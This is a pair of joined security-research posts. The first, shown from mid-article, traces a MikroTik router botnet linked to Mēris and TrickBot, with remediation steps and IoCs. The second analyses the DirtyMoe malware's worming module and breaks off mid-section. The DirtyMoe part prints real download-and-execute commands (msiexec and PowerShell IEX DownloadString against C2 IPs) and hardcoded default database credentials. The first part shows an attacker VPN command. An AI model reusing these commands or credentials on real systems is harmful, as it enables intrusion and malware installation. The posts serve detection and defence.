And it worked! Notice two things here; it’s necessary to put a --user-agent header to imitate the router; otherwise, it won’t work. I found out that the GUID doesn’t matter when issuing the request for the first time, the router is probably registered in the database, so anything that fits the GUID format will work. The second observation was that every GUID works only once or has some rate limitation. Testing the endpoint, I also found that there is a bug or a “silent error” when the end of the URL doesn’t conform to the GUID, for example:

It works too, and it works consistently, not just once. It seems when inserting the URL into the database, an error/exception is thrown, but because it is silently ignored, nothing is written into the database, but still the script is returned (which is quite interesting, that would mean the scripts are not exactly tied to the ID of the victim).

Listing used domains

The bestony.club is the first stage, and it gets us the second stage script and Cloudflare hidden domain. You can see the GUID is reused throughout the stages. Provided all that we’ve learned, I tried to query the   

It worked several times, and as a bonus, it was returning different domains now and then. So by creating a simple script, we “generated” a list of domains being actively used. 

domain	IP	ISP
bestony.club	116.202.93.14	Hetzner, DE
massgames.space	multiple	Cloudflare
widechanges.best	multiple	Cloudflare
weirdgames.info	multiple	Cloudflare
globalmoby.xyz	multiple	Cloudflare
specialword.xyz	multiple	Cloudflare
portgame.website	multiple	Cloudflare
strtz.site	multiple	Cloudflare

The evil spreads its wings

Having all these domains, I decided to pursue the next step to check whether all the hidden domains behind Cloudflare are actually hosted on the same server. I was closer to thinking that the central C&C server was hosted there too. Using the same trick, querying the IP directly with the host header, led to the already expected conclusion:

Yes, all the domains worked against the IP, moreover, if you try to query a GUID, particularly using the host headers trick:

It won’t work again using the full URL and vice versa.

Which returns an error as the GUID has been already registered by the first query, proving that we are accessing the same server and data.

Obviously, we found more than we asked for, but that was not the end.

A short history of CVE-2018-14847

It all probably started back in 2018, more precisely on April 23, when Latvian hardware company MikroTik publicly announced that they fixed and released an update for their very famous and widely used routers, patching the CVE-2018-14847 vulnerability. This vulnerability allowed anyone to literally download the user database and easily decode passwords from the device remotely by just using a few packets through the exposed administrative protocol TCP port 8291. The bar was low enough for anyone to exploit it, and no force could have pushed users to update the firmware. So the outcome was as expected: Cybercriminals had started to exploit it.

The root cause 

Tons of articles and analysis of this vulnerability have been published. The original explanation behind it was focused more on how the WinBox protocol works and that you can ask a file from the router if it’s not considered as sensitive in pre-auth state of communication. Unfortunately, in the reading code path there is also a path traversal vulnerability that allows an attacker to access any file, even if it is considered as sensitive. The great and detailed explanation is in this post from Tenable. The researchers also found that this path traversal vulnerability is shared among other “API functions” handlers, so it’s also possible to write an arbitrary file to the router using the same trick, which greatly enlarges the attack surface.

Messy situation

Since then, we’ve been seeing plenty of different strains misusing the vulnerability. The first noticeable one was crypto mining malware cleverly setting up the router using standard functions and built-in proxy to inject crypto mining JavaScript into every HTTP request being made by users behind the router, amplifying the financial gain greatly. More in our Avast blog post from 2018.

Since then, the vulnerable routers resembled a war field, where various attackers were fighting for the device, overwriting each other’s scripts with their own. One such noticeable strain was Glupteba misusing the router and installing scheduled scripts that repeatedly reached out for commands from C2 servers to establish a SOCKS proxy on the device that allowed it to anonymize other malicious traffic.

Now, we see another active campaign is being hosted on the same servers, so is there any remote possibility that these campaigns are somehow connected?

Closing the loop

As mentioned before, all the leads led to this one particular IP address  (which doesn’t work anymore)

116.202.93.14 

It was more than evident that this IP is a C2 server used for an ongoing campaign, so let’s find out more about it, to see if we can find any ties or indication that it is connected to the other campaigns.

It turned out that this particular IP has been already seen and resolved to various domains. Using the RISKIQ service, we also found one eminent domain tik.anyget.ru. When following the leads and when digging deeper and trying to find malicious samples that access the particular host, we bumped into this interesting sample:

a0b07c09e5785098e6b660f93097f931a60b710e1cf16ac554f10476084bffcb

The sample was accessing the following URL, directly http://tik.anyget.ru/api/manager from there it downloaded a JSON file with a list of IP addresses. This sample is ARM32 SOCKS proxy server binary written in Go and linked to the Glupteba malware campaign. The first recorded submission in VirusTotal was from November 2020, which fits with the Glupteba outbreak.

It seems that the Glupteba malware campaign used the same server.

When requesting the URL http://tik.anyget.ru I was redirected to the http://routers.rip/site/login domain (which is again hidden by the Cloudflare proxy) however, what we got will blow your mind:

This is a control panel for the orchestration of enslaved MikroTik routers. As you can see, the number at the top displays the actual number of devices, close to 230K of devices, connected into the botnet. To be sure, we are still looking at the same host we tried:

And it worked. Encouraged by this, I also tried several other IoCs from previous campaigns:

From the crypto mining campaign back in 2018:

To the Glupteba sample:

All of them worked. Either all of these campaigns are one, or we are witnessing a botnet-as-a-service. From what I’ve seen, I think the second is more likely. When browsing through the control panel, I found one section that had not been password protected, a presets page in the control panel:

The oddity here is that the page automatically switches into Russian even though the rest stays in English (intention, mistake?). What we see here are configuration templates for MikroTik devices. One in particular tied the loop of connecting the pieces together even more tightly. The VPN configuration template

This confirms our suspicion, because these exact configurations can be found on all of our honeypots and affected routers:

Having all these indications and IoCs collected, I knew I was dealing with a trove of secrets and historical data since the beginning of the outbreak of the MikroTik campaign. I also ran an IPV4 thorough scan for socks port 5678, which was a strong indicator of the campaign at that time, and I came up with almost 400K devices with this port opened. The socks port was opened on my honeypot, and as soon as it got infected, all the available bandwidth of 1Mbps was depleted in an instant. At that point, I thought this could be the enormous power needed for  DDoS attacks, and then two days later…

Mēris 

On September 7, 2021, QRator Labs published a  blog post about a new botnet called Mēris.  Mēris is a botnet of considerable scale misusing MikroTik devices to carry out one of the most significant DDoS attacks against Yandex, the biggest search engine in Russia, as well as attacks against companies in Russia, New Zealand, and the United States. It had all the features I’ve described in my investigation.

The day after the publication appeared, the C2 server stopped serving scripts, and the next day, it disappeared completely. I don’t know if it was a part of a legal enforcement action or just pure coincidence that the attackers decided to bail out on the operation in light of the public attention on Mēris. The same day my honeypots restored the configuration by closing the SOCKS proxies.

TrickBot

As the IP addresses mentioned at the very beginning of this post sparked our wild investigation, we owe TrickBot a section in this post. The question, which likely comes to mind now is: “Is TrickBot yet another campaign using the same botnet-as-a-service?”. We can’t tell for sure. However, what we can share is what we found on devices. The way TrickBot proxies the traffic using the NAT functionality in MikroTik usually looks like this:

Part of IoC fingerprint is that usually, the same rule is there multiple times, as the infection script doesn’t check if it is already there:

Although in the case of TrickBot we are not entirely sure if this could be taken as proof, I found some shared IoCs, such as  

• Outgoing PPTP/L2TP VPN tunnel on domains
  /interface l2tp-client add connect-to=<sxx.eeongous.com|sxx.leappoach.info> disabled=no name=lvpn password=<passXXXXXXX> profile=default user=<userXXXXXXX>
• Scheduled scripts / SOCKS proxies enabled as in previous case
• Common password being set on most of the TrickBot MikroTik C2 proxies

It’s, however, not clear if this is a pure coincidence and a result of the router being infected more than once, or if the same C2 was used. From the collected NAT translation, I’ve been able to identify a few IP addresses of the next tier of TrickBot C2 servers (see IoCs section).

Not only MikroTik used by TrickBot

When investigating the TrickBot case I saw (especially after the Mēris case was published) a slight shift over time towards other IoT devices, other than MikroTik. Using the SSH port fingerprinting I came across several devices with an SSL certificate leading to LigoWave devices. Again, the modus operandi seems to be the same, the initial vector of infection seems to be default credentials, then using capabilities of the device to proxy the traffic from the public IP address to TrickBot “hidden” C2 IP address.

To find the default password it took 0.35 sec on Google

The same password can be used to login into the device using SSH as admin with full privileges and then it’s a matter of using iptables to set up the same NAT translation as we saw in the MikroTik case

They know the devices

During my research, what struck me was how the criminals paid attention to details and subtle nuances. For example, we found one configuration on this device: 

Knowing this device type, the attacker has disabled a physical display that loops through the stats of all the interfaces, purposefully to hide the fact that there is a malicious VPN running.

Remediation

The main and most important step to take is to update your router to the latest version and remove the administrative interface from the public-facing interface, you can follow our recommendation from our 2018 blog post which is still valid. In regards to TrickBot campaign, there are few more things you can do:

• check all dst-nat mappings in your router, from SSH or TELNET terminal you can simply type:
  /ip firewall nat print and look for the nat rules that are following the aforementioned rules or are suspicious, especially if the dst-address and to-address are both public IP addresses.
• check the usernames /user print if you see any unusual username or any of the usernames from our IoCs delete them 
• If you can’t access your router on usual ports, you can check one of the alternative ones in our IoCs as attackers used to change them to prevent others from taking back  ownership of the device. 
• Check the last paragraph of this blog post  for more details on how to setup your router in a safe manner

Conclusion

Since 2018, vulnerable  MikroTik routers have been misused for several campaigns. I believe, and as some of the IoCs and my research prove, that a botnet offered for service has been in operation since then. 

It also shows, what is quite obvious for some time already (see our Q3 2021 report), that IoT devices are being heavily targeted not just to run malware on them, which is hard to write and spread massively considering all the different architectures and OS versions, but to simply use their legal and built-in capabilities to set them up as proxies. This is done to either anonymize the attacker’s traces or to serve as a DDoS amplification tool. What we see here is just the tip of the iceberg and it is vital to note that properly and securely setting up devices and keeping them up-to-date is crucial to avoid becoming an easy target and helping facilitate criminal activity.

Just recently, new information popped up showing that the REvil ransomware gang is using MikroTik devices for DDoS attacks. The researchers from Imperva mention in their post that the  Mēris botnet is likely being used to carry out the attack, however, as far as we know the Mēris botnet was dismantled by Russian law enforcement. This a new re-incarnation or the well-known vulnerabilities in MikroTik routers are being exploited again. I can’t tell right now, but what I can tell is that patch adoption and generally, security of IoT devices and routers, in particular, is not good. It’s important to understand that updating devices is not just the sole responsibility of router vendors, but we are all responsible. To make this world more secure, we need to all come together to jointly make sure routers are secure, so please, take a few minutes now to update your routers set up a strong password, disable the administration interface from the public side, and help all the others who are not that technically savvy to do so.

IoC

Main C2 server:

• 116.202.93.14

Glupteba ARM32 proxy sample:

sha256: a0b07c09e5785098e6b660f93097f931a60b710e1cf16ac554f10476084bffcb

C2 domains:

• ciskotik.com
• motinkon.co
• bestony.club
• massgames.space
• widechanges.best
• weirdgames.info
• globalmoby.xyz
• specialword.xyz
• portgame.website
• strtz.site
• myfrance.xyz
• routers.rip
• tik.anyget.ru

VPN server domain names:

• s[xx].leappoach.info
• s[xx].eeongous.com

VPN name (name of VPN interface):

• lvpn

Alternate SSH ports on routers:

• 26
• 220
• 2222
• 2255
• 3535
• 7022
• 10022
• 12067
• 12355
• 19854
• 22515
• 22192
• 43321
• 51922

Alternate TELNET ports on routers:

• 230
• 32
• 2323
• 2355
• 10023
• 50000
• 52323

Alternate WinBox ports on routers:

• 123
• 700
• 1205
• 1430
• 8091
• 8292
• 8295
• 50001
• 52798

Trickbot “hidden” C2 servers:

• 31.14.40.116
• 45.89.125.253
• 185.10.68.16
• 31.14.40.207
• 185.244.150.26
• 195.123.212.17
• 31.14.40.173
• 88.119.170.242
• 103.145.13.31
• 170.130.55.84
• 45.11.183.152
• 185.212.170.250
• 23.106.124.76
• 31.14.40.107
• 77.247.110.57

TrickBot ports on MikroTik being redirected:

• 449
• 443
• 80

TrickBot ports on hidden servers:

• 447
• 443
• 80
• 8109
• 8119
• 8102
• 8129
• 8082
• 8001
• 8133
• 8121

The post Mēris and TrickBot standing on the shoulders of giants appeared first on Avast Threat Labs.

The DirtyMoe malware is deployed using various kits like PurpleFox or injected installers of Telegram Messenger that require user interaction. Complementary to this deployment, one of the DirtyMoe modules expands the malware using worm-like techniques that require no user interaction.

This research analyzes this worming module’s kill chain and the procedures used to launch/control the module through the DirtyMoe service. Other areas investigated include evaluating the risk of identified exploits used by the worm and detailed analysis of how its victim selection algorithm works. Finally, we examine this performance and provide a thorough examination of the entire worming workflow.

The analysis showed that the worming module targets older well-known vulnerabilities, e.g., EternalBlue and Hot Potato Windows Privilege Escalation. Another important discovery is a dictionary attack using Service Control Manager Remote Protocol (SCMR), WMI, and MS SQL services. Finally, an equally critical outcome is discovering the algorithm that generates victim target IP addresses based on the worming module’s geographical location.

One worm module can generate and attack hundreds of thousands of private and public IP addresses per day; many victims are at risk since many machines still use unpatched systems or weak passwords. Furthermore, the DirtyMoe malware uses a modular design; consequently, we expect other worming modules to be added to target prevalent vulnerabilities.

1. Introduction

DirtyMoe, the successful malware we documented in detail in the previous series, also implements mechanisms to reproduce itself. The most common way of deploying the DirtyMoe malware is via phishing campaigns or malvertising. In this series, we will focus on techniques that help DirtyMoe to spread in the wild.

The PurpleFox exploit kit (EK) is the most frequently observed approach to deploy DirtyMoe; the immediate focus of PurpleFox EK is to exploit a victim machine and install DirtyMoe. PurpleFox EK primarily abuses vulnerabilities in the Internet Explorer browser via phishing emails or popunder ads. For example, Guardicore described a worm spread by PurpleFox that abuses SMB services with weak passwords [2], infiltrating poorly secured systems. Recently, Minerva Labs has described the new infection vector installing DirtyMoe via an injected Telegram Installer [1].

Currently, we are monitoring three approaches used to spread DirtyMoe in the wild; Figure 1 illustrates the relationship between the individual concepts. The primary function of the DirtyMoe malware is crypto-mining; it is deployed to victims’ machines using different techniques. We have observed PurpleFox EK, PurleFox Worm, and injected Telegram Installers as mediums to spread and install DirtyMoe; we consider it highly likely that other mechanisms are used in the wild.

In the fourth series on this malware family, we described the deployment of the DirtyMoe service. Figure 2 illustrates the DirtyMoe hierarchy. The DirtyMoe service is run as a svchost process that starts two other processes: DirtyMoe Core and Executioner, which manages DirtyMoe modules. Typically, the executioner loads two modules; one for Monero mining and the other for worming replication.

Our research has been focused on worming since it seems that worming is one of the main mediums to spread the DirtyMoe malware. The PurpleFox worm described by Guardicore [2] is just the tip of the worming iceberg because DirtyMoe utilizes sophisticated algorithms and methods to spread itself into the wild and even to spread laterally in the local network.

The goal of the DirtyMoe worm is to exploit a target system and install itself into a victim machine. The DirtyMoe worm abuses several known vulnerabilities as follow:

• CVE:2019-9082: ThinkPHP – Multiple PHP Injection RCEs
• CVE:2019-2725: Oracle Weblogic Server – ‘AsyncResponseService’ Deserialization RCE
• CVE:2019-1458: WizardOpium Local Privilege Escalation
• CVE:2018-0147: Deserialization Vulnerability
• CVE:2017-0144: EternalBlue SMB Remote Code Execution (MS17-010)
• MS15-076: RCE Allow Elevation of Privilege (Hot Potato Windows Privilege Escalation)
• Dictionary attacks to MS SQL Servers, SMB, and Windows Management Instrumentation (WMI)

The prevalence of DirtyMoe is increasing in all corners of the world; this may be due to the DirtyMoe worm’s strategy of generating targets using a pseudo-random IP generator that considers the worm’s geological and local location. A consequence of this technique is that the worm is more flexible and effective given its location. In addition, DirtyMoe can be expanded to machines hidden behind NAT as this strategy also provides lateral movement in local networks. A single DirtyMoe instance can generate and attack up to 6,000 IP addresses per second.

The insidiousness of the whole worm’s design is its modularization controlled by C&C servers. For example, DirtyMoe has a few worming modules targeting a specific vulnerability, and C&C determines which worming module will be applied based on information sent by a DirtyMoe instance.

The DirtyMoe worming module implements three basic phases common to all types of vulnerabilities. First, the module generates a list of IP addresses to target in the initial phase. Then, the second phase attacks specific vulnerabilities against these targets. Finally, the module performs dictionary attacks against live machines represented by the randomly generated IP addresses. The most common modules that we have observed are SMB and SQL.

This article focuses on the DirtyMoe worming module. We analyze and discuss the worming strategy, which exploits are abused by the malware author, and a module behavior according to geological locations. One of the main topics is the performance of IP address generation, which is crucial for the malware’s success. We are also looking for specific implementations of abused exploits, including their origins.

2. Worm Kill Chain

We can describe the general workflow of the DirtyMoe worming module through the kill chain. Figure 3 illustrates stages of the worming workflow.

Reconnaissance
The worming module generates targets at random but also considers the geolocation of the module. Each generated target is tested for the presence of vulnerable service versions; the module connects to the specific port where attackers expect vulnerable services and verifies whether the victim’s machine is live. If the verification is successful, the worming module collects basic information about the victim’s OS and versions of targeted services.

Weaponization
The C&C server appears to determine which specific module is used for worming without using any victim’s information. Currently, we do not precisely know what algorithm is used for module choice but suspect it depends on additional information sent to the C&C server.

When the module verifies that a targeted victim’s machine is potentially exploitable, an appropriate payload is prepared, and an attack is started. The payload must be modified for each attack since a remote code execution (RCE) command is valid only for a few minutes.

Delivery
In this kill chain phase, the worming module sends the prepared payload. The payload delivery is typically performed using protocols of targeted services, e.g., SMB or MS SQL protocols.

Exploitation and Installation
If the payload is correct and the victim’s machine is successfully exploited, the RCE command included in the payload is run. Consequently, the DirtyMoe malware is deployed, as was detailed in the previous article (DirtyMoe: Deployment).

3. RCE Command

The main goal of the worming module is to achieve RCE under administrator privileges and install a new DirtyMoe instance. The general form of the executed command (@RCE@) is the same for each worming module:
Cmd /c for /d %i in (@WEB@) do Msiexec /i http://%i/@FIN@ /Q

The command usually iterates through three IP addresses of C&C servers, including ports. IPs are represented by the placeholder @WEB@ filled on runtime. Practically, @WEB@ is regenerated for each payload sent since the IPs are rotated every minute utilizing sophisticated algorithms; this was described in Section 2 of the first blog.

The second placeholder is @FIN@ representing the DirtyMoe object’s name; this is, in fact, an MSI installer package. The package filename is in the form of a hash – [A-F0-9]{8}\.moe. The hash name is generated using a hardcoded hash table, methods for rotations and substrings, and by the MS_RPC_<n> string, where n is a number determined by the DirtyMoe service.

The core of the @RCE@ command is the execution of the remote DirtyMoe object (http://) via msiexec in silent mode (/Q). An example of a specific @RCE@ command is:
Cmd /c for /d %i in (45.32.127.170:16148 92.118.151.102:19818 207.246.118.120:11410) do Msiexec /i http://%i/6067C695.moe /Q

4. IP Address Generation

The key feature of the worming module is the generation of IP addresses (IPs) to attack. There are six methods used to generate IPs with the help of a pseudo-random generator; each method focuses on a different IPv4 Class. Accordingly, this factor contributes to the globally uniform distribution of attacked machines and enables the generation of more usable IP addresses to target.

4.1 Class B from IP Table

The most significant proportion of generated addresses is provided by 10 threads generating IPs using a hardcoded list of 24,622 items. Each list item is in form 0xXXXX0000, representing IPs of Class B. Each thread generates IPs based on the algorithms as follows:

The algorithm randomly selects a Class B address from the list and 65,536 times generates an entirely random number that adds to the selected Class B addresses. The effect is that the final IP address generated is based on the geological location hardcoded in the list.

Figure 4 shows the geological distribution of hardcoded addresses. The continent distribution is separated into four parts: Asia, North America, Europe, and others (South America, Africa, Oceania). We verified this approach and generated 1M addresses using the algorithm. The result has a similar continental distribution. Hence, the implementation ensures that the IP addresses distribution is uniform.

4.2 Fully Random IP

The other three threads generate completely random IPs, so the geological position is also entirely random. However, the full random IP algorithm generates low classes more frequently, as shown in the algorithm below.

4.3 Derived Classes A, B, C

Three other algorithms generate IPs based on an IP address of a machine (IPm) where the worming module runs. Consequently, the worming module targets machines in the nearby surroundings.

Addresses are derived from the IPm masked to the appropriate Class A/B/C, and a random number representing the lower Class is added; as shown in the following pseudo-code.

4.4 Derived Local IPs

The last IP generating method is represented by one thread that scans interfaces attached to local networks. The worming module lists local IPs using gethostbyname() and processes one local address every two hours.

Each local IP is masked to Class C, and 255 new local addresses are generated based on the masked address. As a result, the worming module attacks all local machines close to the infected machine in the local network.

5. Attacks to Abused Vulnerabilities

We have detected two worming modules which primarily attack SMB services and MS SQL databases. Our team has been lucky since we also discovered something rare: a worming module containing exploits targeting PHP, Java Deserialization, and Oracle Weblogic Server that was still under development. In addition, the worming modules include a packed dictionary of 100,000-words used with dictionary attacks.

5.1 EternalBlue

One of the main vulnerabilities is CVE:2017-0144: EternalBlue SMB Remote Code Execution (patched by Microsoft in MS17-010). It is still bewildering how many EternalBlue attacks are still observed – Avast is still blocking approximately 20 million attempts for the EternalBlue attack every month.

The worming module focuses on the Windows version from Windows XP to Windows 8. We have identified that the EternalBlue implementation is the same as described in exploit-db [3], and an effective payload including the @RCE@ command is identical to DoublePulsar [4]. Interestingly, the whole EternalBlue payload is hardcoded for each Windows architecture, although the payload can be composed for each platform separately.

5.2 Service Control Manager Remote Protocol

No known vulnerability is used in the case of Service Control Manager Remote Protocol (SCMR) [5]. The worming module attacks SCMR through a dictionary attack. The first phase is to guess an administrator password. The details of the dictionary attack are described in Section 6.4.

If the dictionary attack is successful and the module guesses the password, a new Windows service is created and started remotely via RPC over the SMB service. Figure 5 illustrates the network communication of the attack. Binding to the SCMR is identified using UUID {367ABB81-9844-35F1-AD32- 98F038001003}. On the server-side, the worming module as a client writes commands to the \PIPE\svcctl pipe. The first batch of commands creates a new service and registers a command with the malicious @RCE@ payload. The new service is started and is then deleted to attempt to cover its tracks.

The Microsoft HTML Application Host (mshta.exe) is used as a LOLbin to execute and create ShellWindows and run @RCE@. The advantage of this proxy execution is that mshta.exe is typically marked as trusted; some defenders may not detect this misuse of mshta.exe.

Windows Event records these suspicious events in the System log, as shown in Figure 6. The service name is in the form AC<number>, and the number is incremented for each successful attack. It is also worth noting that ImagePath contains the @RCE@ command sent to SCMR in BinaryPathName, see Figure 5.

5.3 Windows Management Instrumentation

The second method that does not misuse any known vulnerability is a dictionary attack to Windows Management Instrumentation (WMI). The workflow is similar to the SCMR attack. Firstly, the worming module must also guess the password of a victim administrator account. The details of the dictionary attack are described in Section 6.4.

The attackers can use WMI to manage and access data and resources on remote computers [6]. If they have an account with administrator privileges, full access to all system resources is available remotely.

The malicious misuse lies in the creation of a new process that runs @RCE@ via a WMI script; see Figure 7. DirtyMoe is then installed in the following six steps:

1. Initialize the COM library.
2. Connect to the default namespace root/cimv2 containing the WMI classes for management.
3. The Win32_Process class is created, and @RCE@ is set up as a command-line argument.
4. Win32_ProcessStartup represents the startup configuration of the new process. The worming module sets a process window to a hidden state, so the execution is complete silently.
5. The new process is started, and the DirtyMoe installer is run.
6. Finally, the WMI script is finished, and the COM library is cleaned up.

5.4 Microsoft SQL Server

Attacks on Microsoft SQL Servers are the second most widespread attack in terms of worming modules. Targeted MS SQL Servers are 2000, 2005, 2008, 2012, 2014, 2016, 2017, 2019.

The worming module also does not abuse any vulnerability related to MS SQL. However, it uses a combination of the dictionary attack and MS15-076: “RCE Allow Elevation of Privilege” known as “Hot Potato Windows Privilege Escalation”. Additionally, the malware authors utilize the MS15-076 implementation known as Tater, the PowerSploit function Invoke-ReflectivePEInjection, and CVE-2019-1458: “WizardOpium Local Privilege Escalation” exploit.

The first stage of the MS SQL attack is to guess the password of an attacked MS SQL server. The first batch of username/password pairs is hardcoded. The malware authors have collected the hardcoded credentials from publicly available sources. It contains fifteen default passwords for a few databases and systems like Nette Database, Oracle, Firebird, Kingdee KIS, etc. The complete hardcoded credentials are as follows: 401hk/401hk_@_, admin/admin, bizbox/bizbox, bwsa/bw99588399, hbv7/zXJl@mwZ, kisadmin/ypbwkfyjhyhgzj, neterp/neterp, ps/740316, root/root, sp/sp, su/t00r_@_, sysdba/masterkey, uep/U_tywg_2008, unierp/unierp, vice/vice.

If the first batch is not successful, the worming module attacks using the hardcoded dictionary. The detailed workflow of the dictionary attack is described in Section 6.4.

If the module successfully guesses the username/password of the attacked MS SQL server, the module executes corresponding payloads based on the Transact-SQL procedures. There are five methods launched one after another.

1. sp_start_job
   The module creates, schedules, and immediately runs a task with Payload 1.
2. sp_makewebtask
   The module creates a task that produces an HTML document containing Payload 2.
3. sp_OAMethod
   The module creates an OLE object using the VBScript “WScript.Shell“ and runs Payload 3.
4. xp_cmdshell
   This method spawns a Windows command shell and passes in a string for execution represented by Payload 3.
5. Run-time Environment
   Payload 4 is executed as a .NET assembly.

In brief, there are four payloads used for the DirtyMoe installation. The SQL worming module defines a placeholder @SQLEXEC@ representing a full URL to the MSI installation package located in the C&C server. If any of the payloads successfully performed a privilege escalation, the DirtyMoe installation is silently launched via MSI installer; see our DirtyMoe Deployment blog post for more details.

Payload 1

The first payload tries to run the following PowerShell command:
powershell -nop -exec bypass -c "IEX $decoded; MsiMake @SQLEXEC@;"
where $decoded contains the MsiMake functions, as is illustrated in Figure 8. The function calls MsiInstallProduct function from msi.dll as a completely silent installation (INSTALLUILEVEL_NONE) but only if the MS SQL server runs under administrator privileges.

Payload 2

The second payload is used only for sp_makewebtask execution; the payload is written to the following autostart folders:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.hta
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\1.hta

Figure 9 illustrates the content of the 1.hta file camouflaged as an HTML file. It is evident that DirtyMoe may be installed on each Windows startup.

Payload 3

The last payload is more sophisticated since it targets the vulnerabilities and exploits mentioned above. Firstly, the worming module prepares a @SQLPSHELL@ placeholder containing a full URL to the DirtyMoe object that is the adapted version of the Tater PowerShell script.

The first stage of the payload is a powershell command:
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString(''@SQLPSHELL@''); MsiMake @SQLEXEC@"

The adapted Tater script implements the extended MsiMake function. The script attempts to install DirtyMoe using three different ways:

1. Install DirtyMoe via the MsiMake implementation captured in Figure 8.
2. Attempt to exploit the system using Invoke-ReflectivePEInjection with the following arguments:
   Invoke-ReflectivePEInjection -PEBytes $Bytes -ExeArgs $@RCE@ -ForceASLR
   where $Bytes is the implementation of CVE-2019-1458 that is included in the script.
3. The last way is installation via the Tater command:
   Invoke-Tater -Command $@RCE@

The example of Payload 3 is:
powershell -nop -exec bypass -c "IEX (New-ObjectNet. WebClient).DownloadString(
'http://108.61.184.105:20114/57BC9B7E.Png'); MsiMake http://108.61.184.105:20114/0CFA042F.Png

Payload 4

The attackers use .NET to provide a run-time environment that executes an arbitrary command under the MS SQL environment. The worming module defines a new assembly .NET procedure using Common Language Runtime (CLR), as Figure 10 demonstrates.

The .NET code of Payload 4 is a simple class defining a SQL procedure ExecCommand that runs a malicious command using the Process class; shown in Figure 11.

5.5 Development Module

We have discovered one worming module containing artifacts that indicate that the module is in development. This module does not appear to be widespread in the wild, and it may give insight into the malware authors’ future intentions. The module contains many hard-coded sections in different states of development; some sections do not hint at the @RCE@ execution.

PHP

CVE:2019-9082: ThinkPHP - Multiple PHP Injection RCEs.

The module uses the exact implementation published at [7]; see Figure 12. In short, a CGI script that verifies the ability of call_user_func_array is sent. If the verification is passed, the CGI script is re-sent with @RCE@.

Deserialization

CVE:2018-0147: Deserialization Vulnerability

The current module implementation executes a malicious Java class [8], shown in Figure 13, on an attacked server. The RunCheckConfig class is an executioner for accepted connections that include a malicious serializable object.

The module prepares the serializable object illustrated in Figure 14 that the RunCheckConfig class runs when the server accepts this object through the HTTP POST method.

The implementation that delivers the RunCheckConfig class into the attacked server abused the same vulnerability. It prepares a serializable object executing ObjectOutputStream, which writes the RunCheckConfig class into c:/windows/tmp. However, this implementation is not included in this module, so we assume that this module is still in development.

Oracle Weblogic Server

CVE:2019-2725: Oracle Weblogic Server - 'AsyncResponseService' Deserialization RCE

The module again exploits vulnerabilities published at [9] to send malicious SOAP payloads without any authentication to the Oracle Weblogic Server T3 interface, followed by sending additional SOAP payloads to the WLS AsyncResponseService interface.

SOAP
The SOAP request defines the WorkContext as java.lang.Runtime with three arguments. The first argument defines which executable should be run. The following arguments determine parameters for the executable. An example of the WorkContext is shown in Figure 15.

Hardcoded SOAP commands are not related to @RCE@; we assume that this implementation is also in development.

6. Worming Module Execution

The worming module is managed by the DirtyMoe service, which controls its configuration, initialization, and worming execution. This section describes the lifecycle of the worming module.

6.1 Configuration

The DirtyMoe service contacts one of the C&C servers and downloads an appropriate worming module into a Shim Database (SDB) file located at %windir%\apppatch\TK<volume-id>MS.sdb. The worming module is then decrypted and injected into a new svchost.exe process, as Figure 2 illustrates.

The encrypted module is a PE executable that contains additional placeholders. The DirtyMoe service passes configuration parameters to the module via these placeholders. This approach is identical to other DirtyMoe modules; however, some of the placeholders are not used in the case of the worming module.

The placeholders overview is as follows:

• @TaskGuid@: N/A in worming module
• @IPsSign@: N/A in worming module
• @RunSign@: Mutex created by the worming module that is controlled by the DirtyMoe service
• @GadSign@: ID of DirtyMoe instance registered in C&C
• @FixSign@: Type of worming module, e.g, ScanSmbHs5
• @InfSign@: Worming module configuration

6.2 Initialization

When the worming module, represented by the new process, is injected and resumed by the DirtyMoe service, the module initialization is invoked. Firstly, the module unpacks a word dictionary containing passwords for a dictionary attack. The dictionary consists of 100,000 commonly used passwords compressed using LZMA. Secondly, internal structures are established as follows:

IP Address Backlog
The module stores discovered IP addresses with open ports of interest. It saves the IP address and the timestamp of the last port check.

Dayspan and Hourspan Lists
These lists manage IP addresses and their insertion timestamps used for the dictionary attack. The IP addresses are picked up based on a threshold value defined in the configuration. The IP will be processed if the IP address timestamp surpasses the threshold value of the day or hour span. If, for example, the threshold is set to 1, then if a day/hour span of the current date and a timestamp is greater than 1, a corresponding IP will be processed. The Dayspan list registers IPs generated by Class B from IP Table, Fully Random IP, and Derived Classes A methods; in other words, IPs that are further away from the worming module location. On the other hand, the Hourspan list records IPs located closer.

Thirdly, the module reads its configuration described by the @InfSign@ placeholder. The configuration matches this pattern: <IP>|<PNG_ID>|<timeout>|[SMB:HX:PX1.X2.X3:AX:RX:BX:CX:DX:NX:SMB]

• IP is the number representing the machine IP from which the attack will be carried out. The IP is input for the methods generating IPs; see Section 4. If the IP is not available, the default address 98.126.89.1 is used.
• PNG_ID is the number used to derive the hash-name that mirrors the DirtyMoe object name (MSI installer package) stored at C&C. The hashname is generated using MS_RPC_<n> string where n is PNG_ID; see Section 3.
• Timeout is the default timeout for connections to the attacked services in seconds.
• HX is a threshold for comparing IP timestamps stored in the Dayspan and Hourspan lists. The comparison ascertains whether an IP address will be processed if the timestamp of the IP address exceeds the day/hour threshold.
• P is the flag for the dictionary attack.
  • X1 number determines how many initial passwords will be used from the password dictionary to increase the probability of success – the dictionary contains the most used passwords at the beginning.
  • X2 number is used for the second stage of the dictionary attack if the first X1 passwords are unsuccessful. Then the worming module tries to select X2 passwords from the dictionary randomly.
  • X3 number defines how many threads will process the Dayspan and Hourspan lists; more precisely, how many threads will attack the registered IP addresses in the Dayspan/Hourspan lists.
• AX: how many threads will generate IP addresses using Class B from IP Table methods.
• RX: how many threads for the Fully Random IP method.
• BX, CX, DX: how many threads for the Derived Classes A, B, C methods.
• NX defines a thread quantity for the Derived Local IPs method.

The typical configuration can be 217.xxx.xxx.xxx|5|2|[SMB:H1:P1.30.3:A10:R3:B3:C3:D1:N3:SMB]

Finally, the worming module starts all threads defined by the configuration, and the worming process and attacks are started.

6.3 Worming

The worming process has five phases run, more or less, in parallel. Figure 16 has an animation of the worming process.

Phase 1

The worming module usually starts 23 threads generating IP addresses based on Section 4. The IP addresses are classified into two groups: day-span and hour-span.

Phase 2

The second phase runs in parallel with the first; its goal is to test generated IPs. Each specific module targets defined ports ​that are verified via sending a zero-length transport datagram. If the port is active and ready to receive data, the IP address of the active port is added to IP Address Backlog. Additionally, the SMB worming module immediately tries the EternalBlue attack within the port scan.

Phase 3

